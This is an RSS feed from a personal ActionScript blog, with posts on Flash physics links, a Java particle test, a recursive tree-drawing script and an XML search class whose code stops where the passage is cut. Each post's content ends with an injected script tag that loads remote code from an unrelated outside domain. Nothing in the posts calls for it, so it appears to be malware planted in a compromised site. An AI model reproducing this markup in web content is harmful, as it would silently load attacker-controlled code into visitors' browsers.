<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>random() &#187; Actionscript</title>
	<atom:link href="http://blog.maxgarfinkel.com/archives/category/web-programming/actionscript/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.maxgarfinkel.com</link>
	<description>All sorts, who knows?</description>
	<lastBuildDate>Thu, 19 Aug 2010 20:07:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Physics Flash Animations</title>
		<link>http://blog.maxgarfinkel.com/archives/95</link>
		<comments>http://blog.maxgarfinkel.com/archives/95#comments</comments>
		<pubDate>Sun, 23 Aug 2009 11:55:23 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Actionscript]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=95</guid>
		<description><![CDATA[A list of physics flash animations. Not beautiful but very interesting! Physics Flash Animations.]]></description>
			<content:encoded><![CDATA[<p>A list of physics flash animations. Not beautiful but very interesting! <a href="http://www.upscale.utoronto.ca/GeneralInterest/Harrison/Flash/#chaos">Physics Flash Animations</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/95/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Giving Java a go!</title>
		<link>http://blog.maxgarfinkel.com/archives/31</link>
		<comments>http://blog.maxgarfinkel.com/archives/31#comments</comments>
		<pubDate>Sun, 29 Jun 2008 21:04:49 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[learning Java]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=31</guid>
		<description><![CDATA[Thought I would give Java a go today, wanted to try something I might do with flash and compare to see how much harder/time consuming it might be Vs how much more power you can get from Java. Well first results are in, and I was surprised to find it didn&#8217;t take much longer and [...]]]></description>
			<content:encoded><![CDATA[<p>Thought I would give Java a go today, wanted to try something I might do with flash and compare to see how much harder/time consuming it might be Vs how much more power you can get from Java. Well first results are in, and I was surprised to find it didn&#8217;t take much longer and was MUCH more powerful. I was using <a href="http://www.netbeans.org/" target="_blank">NetBeans</a> which is a very nice IDE. The piece is a particle field and I was originaly able to crank it up to 500,000 particles, the frame rate dropped but it was still under a frame a second on a 2.16 ghz Macbook Pro. I tried for a 1,000,000 partcles but it ran out of heap space, although I think there is probably a way around that. Well compared to flash this is amazing you could never get performance like that.<br />
It seems to me that not everything is going to be as easy as in flash but that the performance will make up<br />
for the difficulty. I will have to leave it there for now but hope to play some more soon!<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/31/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Actionscript tree</title>
		<link>http://blog.maxgarfinkel.com/archives/20</link>
		<comments>http://blog.maxgarfinkel.com/archives/20#comments</comments>
		<pubDate>Mon, 02 Jun 2008 21:16:16 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Actionscript]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/archives/20</guid>
		<description><![CDATA[Just finished an Actionscript tree. Its still not 100% right, there are some little details I want to sort out. It can be extremely processing intensive so it is possible to cause it to hang by making it iterate too much or have too many branches so be warned. I have set the time out [...]]]></description>
			<content:encoded><![CDATA[<p>Just finished an Actionscript tree. Its still not 100% right, there are some little details I want to sort out. It can be extremely processing intensive so it is possible to cause it to hang by making it iterate too much or have too many branches so be warned. I have set the time out period to 30 seconds so if you haven&#8217;t got a tree in 30 seconds, you broke it! The other point of note is that angle is in radians. Angles controls the angle at which the branches come off. Any who, enough talking, here it is.</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_leaf_01_820667797"
			class="flashmovie"
			width="553"
			height="400">
	<param name="movie" value="/wp-uploads/2009/05/leaf_01.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="/wp-uploads/2009/05/leaf_01.swf"
			name="fm_leaf_01_820667797"
			width="553"
			height="400">
	<!--<![endif]-->
		
<p><a href="http://adobe.com/go/getflashplayer"><img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player" /></a></p>

	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p> </p>
<p>When I get a chance to, I will neaten up the code and post it up. Those of you who are observant may notice the swf is actulay called leaf_02.swf, this is &#8216;cos it was I started out wanting to draw a leaf, but that is harder than I thought (Not given up yet though <img src='http://blog.maxgarfinkel.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> ), so hopefully the next post will be a leaf!</p>
<p>Sorcecode for those interested &#8211; Not object oriented and almost no comments</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> bezierPoint<span style="color: #66cc66;">&#40;</span>origin:Point, <span style="color: #0066CC;">control</span>:Point, <span style="color: #0066CC;">end</span>:Point, loc:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:Point
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> p1:Point = Point.<span style="color: #006600;">interpolate</span><span style="color: #66cc66;">&#40;</span>origin, <span style="color: #0066CC;">control</span>, loc<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> p2:Point = Point.<span style="color: #006600;">interpolate</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">control</span>, <span style="color: #0066CC;">end</span>, loc<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> p:Point = Point.<span style="color: #006600;">interpolate</span><span style="color: #66cc66;">&#40;</span>p1, p2, loc<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> p;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> endPoint<span style="color: #66cc66;">&#40;</span>angle:<span style="color: #0066CC;">Number</span>, hypontinuse:<span style="color: #0066CC;">Number</span>, origin:Point<span style="color: #66cc66;">&#41;</span>:Point
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> ret:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">cos</span><span style="color: #66cc66;">&#40;</span>angle<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>hypontinuse<span style="color: #66cc66;">&#41;</span>+ origin.<span style="color: #006600;">x</span>, <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">sin</span><span style="color: #66cc66;">&#40;</span>angle<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>hypontinuse<span style="color: #66cc66;">&#41;</span>+origin.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> ret;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> controlPoint<span style="color: #66cc66;">&#40;</span>origin:Point, hyp:<span style="color: #0066CC;">Number</span>, angle:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:Point
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> a:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">3.14159265</span> + <span style="color: #66cc66;">&#40;</span>angle + <span style="color: #cc66cc;">1.57079633</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #0066CC;">end</span>:Point = endPoint<span style="color: #66cc66;">&#40;</span>a , hyp, origin<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> <span style="color: #0066CC;">end</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> drawBranch<span style="color: #66cc66;">&#40;</span>origin:Point, angle:<span style="color: #0066CC;">Number</span>, <span style="color: #0066CC;">size</span>:<span style="color: #0066CC;">Number</span>, <span style="color: #0066CC;">color</span>:<span style="color: #0066CC;">Number</span>, childNo:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Array</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> returnData = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> branch:Shape = <span style="color: #000000; font-weight: bold;">new</span> Shape<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #0066CC;">end</span>:Point = endPoint<span style="color: #66cc66;">&#40;</span>angle, <span style="color: #0066CC;">size</span>, origin<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #0066CC;">control</span>:Point = controlPoint<span style="color: #66cc66;">&#40;</span>Point.<span style="color: #006600;">interpolate</span><span style="color: #66cc66;">&#40;</span>origin,<span style="color: #0066CC;">end</span>,<span style="color: #cc66cc;">0.5</span><span style="color: #66cc66;">&#41;</span>, Point.<span style="color: #006600;">distance</span><span style="color: #66cc66;">&#40;</span>origin, <span style="color: #0066CC;">end</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">6</span>, angle<span style="color: #66cc66;">&#41;</span>;
	branch.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">lineStyle</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>, <span style="color: #0066CC;">color</span><span style="color: #66cc66;">&#41;</span>;
	branch.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">beginFill</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">color</span>,<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>
	branch.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">moveTo</span><span style="color: #66cc66;">&#40;</span>origin.<span style="color: #006600;">x</span>, origin.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
	branch.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">curveTo</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">control</span>.<span style="color: #006600;">x</span>, <span style="color: #0066CC;">control</span>.<span style="color: #006600;">y</span>, <span style="color: #0066CC;">end</span>.<span style="color: #006600;">x</span>, <span style="color: #0066CC;">end</span>.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> thickEnd:Point = controlPoint<span style="color: #66cc66;">&#40;</span>origin, <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">size</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span>childNo, angle<span style="color: #66cc66;">&#41;</span>;
	branch.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">curveTo</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">control</span>.<span style="color: #006600;">x</span>, <span style="color: #0066CC;">control</span>.<span style="color: #006600;">y</span>, thickEnd.<span style="color: #006600;">x</span>, thickEnd.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
	branch.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">lineTo</span><span style="color: #66cc66;">&#40;</span>origin.<span style="color: #006600;">x</span>, origin.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
	returnData.<span style="color: #0066CC;">push</span><span style="color: #66cc66;">&#40;</span>branch<span style="color: #66cc66;">&#41;</span>;
	returnData.<span style="color: #0066CC;">push</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">control</span><span style="color: #66cc66;">&#41;</span>;
	returnData.<span style="color: #0066CC;">push</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">end</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> returnData;
&nbsp;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> drawTree<span style="color: #66cc66;">&#40;</span>origin, angle, <span style="color: #0066CC;">size</span>, depth, factor, fixedAngle, frequency, childNo<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span>depth <span style="color: #66cc66;">&amp;</span>lt;= <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>
		<span style="color: #b1b100;">return</span>;
	<span style="color: #808080; font-style: italic;">//draw branch</span>
	<span style="color: #000000; font-weight: bold;">var</span> branch:<span style="color: #0066CC;">Array</span> = drawBranch<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span>origin.<span style="color: #006600;">x</span>, origin.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>, angle, <span style="color: #0066CC;">size</span>, 0x514837, childNo<span style="color: #66cc66;">&#41;</span>;
	holder.<span style="color: #006600;">addChild</span><span style="color: #66cc66;">&#40;</span>branch<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #808080; font-style: italic;">//find start, end, control</span>
	<span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">1</span>; i <span style="color: #66cc66;">&amp;</span>lt;= frequency; i++<span style="color: #66cc66;">&#41;</span>
	<span style="color: #66cc66;">&#123;</span>
		<span style="color: #000000; font-weight: bold;">var</span> randSeed:<span style="color: #0066CC;">Number</span> = <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #cc66cc;">0.75</span>;
		<span style="color: #000000; font-weight: bold;">var</span> frequencySeed:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">round</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#41;</span>-<span style="color: #cc66cc;">1</span>
		<span style="color: #000000; font-weight: bold;">var</span> newAngle:<span style="color: #0066CC;">Number</span>;
		<span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span>i <span style="color: #66cc66;">%</span> <span style="color: #cc66cc;">2</span> == <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>
			newAngle = <span style="color: #66cc66;">&#40;</span>angle+fixedAngle<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>randSeed;
		<span style="color: #b1b100;">else</span>
			newAngle = <span style="color: #66cc66;">&#40;</span>angle-fixedAngle<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>randSeed;
		<span style="color: #000000; font-weight: bold;">var</span> offset:<span style="color: #0066CC;">Number</span> = <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">/</span>frequency<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>i<span style="color: #66cc66;">&#41;</span>-<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">/</span>frequency<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #000000; font-weight: bold;">var</span> newOrigin:Point = bezierPoint<span style="color: #66cc66;">&#40;</span>origin, branch<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span>, branch<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span>, offset<span style="color: #66cc66;">&#41;</span>;
		drawTree<span style="color: #66cc66;">&#40;</span>newOrigin, newAngle, <span style="color: #0066CC;">size</span><span style="color: #66cc66;">/</span>factor, depth-<span style="color: #cc66cc;">1</span>, factor, fixedAngle, frequency+frequencySeed, <span style="color: #66cc66;">&#40;</span>frequency-i<span style="color: #66cc66;">&#41;</span>+<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">var</span> p:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">400</span>,<span style="color: #cc66cc;">550</span><span style="color: #66cc66;">&#41;</span>;
drawTree<span style="color: #66cc66;">&#40;</span>p, -<span style="color: #cc66cc;">1.5</span>, <span style="color: #cc66cc;">200</span>, <span style="color: #cc66cc;">8</span>, <span style="color: #cc66cc;">1.5</span>, <span style="color: #cc66cc;">0.7</span>, <span style="color: #cc66cc;">3</span>, <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
drawTreeBtn.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">CLICK</span>, createManager<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> createManager<span style="color: #66cc66;">&#40;</span>event:MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> len = len.<span style="color: #006600;">getLineText</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> depth = dep.<span style="color: #006600;">getLineText</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> frequency = freq.<span style="color: #006600;">getLineText</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> factor = fac.<span style="color: #006600;">getLineText</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> angle = angle.<span style="color: #006600;">getLineText</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #808080; font-style: italic;">//fix for typing issues caused by input</span>
	<span style="color: #000000; font-weight: bold;">var</span> length1:<span style="color: #0066CC;">Number</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#40;</span>len<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> depth1:<span style="color: #0066CC;">Number</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#40;</span>depth<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> frequency1:<span style="color: #0066CC;">Number</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#40;</span>frequency<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> factor1:<span style="color: #0066CC;">Number</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#40;</span>factor<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> angle1:<span style="color: #0066CC;">Number</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#40;</span>angle<span style="color: #66cc66;">&#41;</span>;
&nbsp;
	<span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = holder.<span style="color: #006600;">numChildren</span>-<span style="color: #cc66cc;">1</span>; i <span style="color: #66cc66;">&amp;</span>gt;= <span style="color: #cc66cc;">0</span>; i--<span style="color: #66cc66;">&#41;</span>
		holder.<span style="color: #006600;">removeChildAt</span><span style="color: #66cc66;">&#40;</span>i<span style="color: #66cc66;">&#41;</span>;
	drawTree<span style="color: #66cc66;">&#40;</span>p, -<span style="color: #cc66cc;">1.5</span>, length1, depth1, factor1, angle1, frequency1, <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/20/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nice little generative animation (cpu heavy)</title>
		<link>http://blog.maxgarfinkel.com/archives/15</link>
		<comments>http://blog.maxgarfinkel.com/archives/15#comments</comments>
		<pubDate>Mon, 26 May 2008 21:47:43 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Actionscript]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/archives/15</guid>
		<description><![CDATA[It may take a while to become visible as the background sometimes starts off white. 
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_particles_1177949296"
			class="flashmovie"
			width="400"
			height="300">
	<param name="movie" value="http://blog.maxgarfinkel.com/wp-uploads/2008/05/particles.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.maxgarfinkel.com/wp-uploads/2008/05/particles.swf"
			name="fm_particles_1177949296"
			width="400"
			height="300">
	<!--<![endif]-->
		 
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>   Some screen grabs of nice states of an earlier version.]]></description>
			<content:encoded><![CDATA[<p>It may take a while to become visible as the background sometimes starts off white.</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_particles_1481614826"
			class="flashmovie"
			width="400"
			height="300">
	<param name="movie" value="http://blog.maxgarfinkel.com/wp-uploads/2008/05/particles.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.maxgarfinkel.com/wp-uploads/2008/05/particles.swf"
			name="fm_particles_1481614826"
			width="400"
			height="300">
	<!--<![endif]-->
		
<p><a href="http://adobe.com/go/getflashplayer"><img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player" /></a></p>

	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p> </p>
<p>Some screen grabs of nice states of an earlier version.</p>
<p><span style="color: #551a8b; text-decoration: underline;"><a href="http://blog.maxgarfinkel.com/wp-uploads/2009/05/grab2.jpg"><img class="alignnone size-full wp-image-61" title="grab2" src="http://blog.maxgarfinkel.com/wp-uploads/2009/05/grab2.jpg" alt="grab2" width="549" height="401" /></a></span></p>
<p><span style="color: #551a8b; text-decoration: underline;"><a href="http://blog.maxgarfinkel.com/wp-uploads/2009/05/grab1.jpg"><img class="alignnone size-full wp-image-60" title="grab1" src="http://blog.maxgarfinkel.com/wp-uploads/2009/05/grab1.jpg" alt="grab1" width="550" height="401" /></a></span><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/15/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Actionscript XML Search Utillity</title>
		<link>http://blog.maxgarfinkel.com/archives/8</link>
		<comments>http://blog.maxgarfinkel.com/archives/8#comments</comments>
		<pubDate>Tue, 10 Apr 2007 12:27:55 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Actionscript]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/archives/8</guid>
		<description><![CDATA[A neat little class for searching through an xml object, options include recursive search or just return the first instance. Proper documentation to follow. /* XmlSearch v.1.1 Author:Max Garfinkel Last Revision: 05/07/2007 new methods added &#160; Finds and returns attributes and node values from an xml object &#160; public function are: &#160; matchAttribute(xml:XML, attributeName:String, attributeValue:String):Boolean [...]]]></description>
			<content:encoded><![CDATA[<p>A neat little class for searching through an xml object, options include recursive search or just return the first instance.  Proper documentation to follow.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
XmlSearch v.1.1
Author:Max Garfinkel
Last Revision: 05/07/2007
new methods added
&nbsp;
Finds and returns attributes and node values from an xml object
&nbsp;
public function are:
&nbsp;
matchAttribute(xml:XML, attributeName:String, attributeValue:String):Boolean
returns true if there exists an attribute of attribute name with the value of attribute value in the xml.
&nbsp;
getAttributes(xml:XML, searchterm:String, attributeName:String, recursive:Boolean):Array
returns array of 0-* elements containing the attributes attributeName, of node searchterm.
If recursive flag is set to false array will be of 0-1 length.
&nbsp;
getNodeContent(xml:XML, searchterm:String, recursive:Boolean):Array
returns an array of 0-* elements containing the contents of node searchterm.
If recursive flag is set to false the array will be of 0-1 length.
&nbsp;
getNodeContentXML(xml:XML, searchterm:String, recursive:Boolean):Array
returns an array of 0-* elements containing the contents of node searchterm.
If recursive flag is set to false the array will be of 0-1 length.
The data is returned as xml blocks within the array.
&nbsp;
*/</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> com.<span style="color: #006600;">maxgarfinkel</span>.<span style="color: #0066CC;">data</span>.<span style="color: #006600;">XmlSearch</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> returnData:<span style="color: #0066CC;">Array</span>;
&nbsp;
		<span style="color: #0066CC;">public</span> XmlSearch<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #66cc66;">&#125;</span>
&nbsp;
		<span style="color: #808080; font-style: italic;">//checks if nodes attribute matches filter value</span>
		<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> matchAttribute<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>:<span style="color: #0066CC;">XML</span>, attributeName:<span style="color: #0066CC;">String</span>, attributeValue:<span style="color: #0066CC;">String</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Boolean</span>
		<span style="color: #66cc66;">&#123;</span>
			<span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">attributes</span><span style="color: #66cc66;">&#91;</span>attributeName<span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">toString</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> == attributeValue<span style="color: #66cc66;">&#41;</span>
				<span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">true</span>;
			<span style="color: #b1b100;">else</span>
				<span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">false</span>;
		<span style="color: #66cc66;">&#125;</span>
&nbsp;
        <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getAttributes<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>:<span style="color: #0066CC;">XML</span>, searchterm:<span style="color: #0066CC;">String</span>, attributeName:<span style="color: #0066CC;">String</span>, recursive:<span style="color: #0066CC;">Boolean</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Array</span>
        <span style="color: #66cc66;">&#123;</span>
                <span style="color: #0066CC;">this</span>.<span style="color: #006600;">returnData</span> = <span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span>;
                <span style="color: #0066CC;">this</span>.<span style="color: #006600;">searchId</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xml</span>, searchterm, attributeName, recursive<span style="color: #66cc66;">&#41;</span>;
                <span style="color: #b1b100;">return</span><span style="color: #66cc66;">&#40;</span>returnData<span style="color: #66cc66;">&#41;</span>;
        <span style="color: #66cc66;">&#125;</span>
&nbsp;
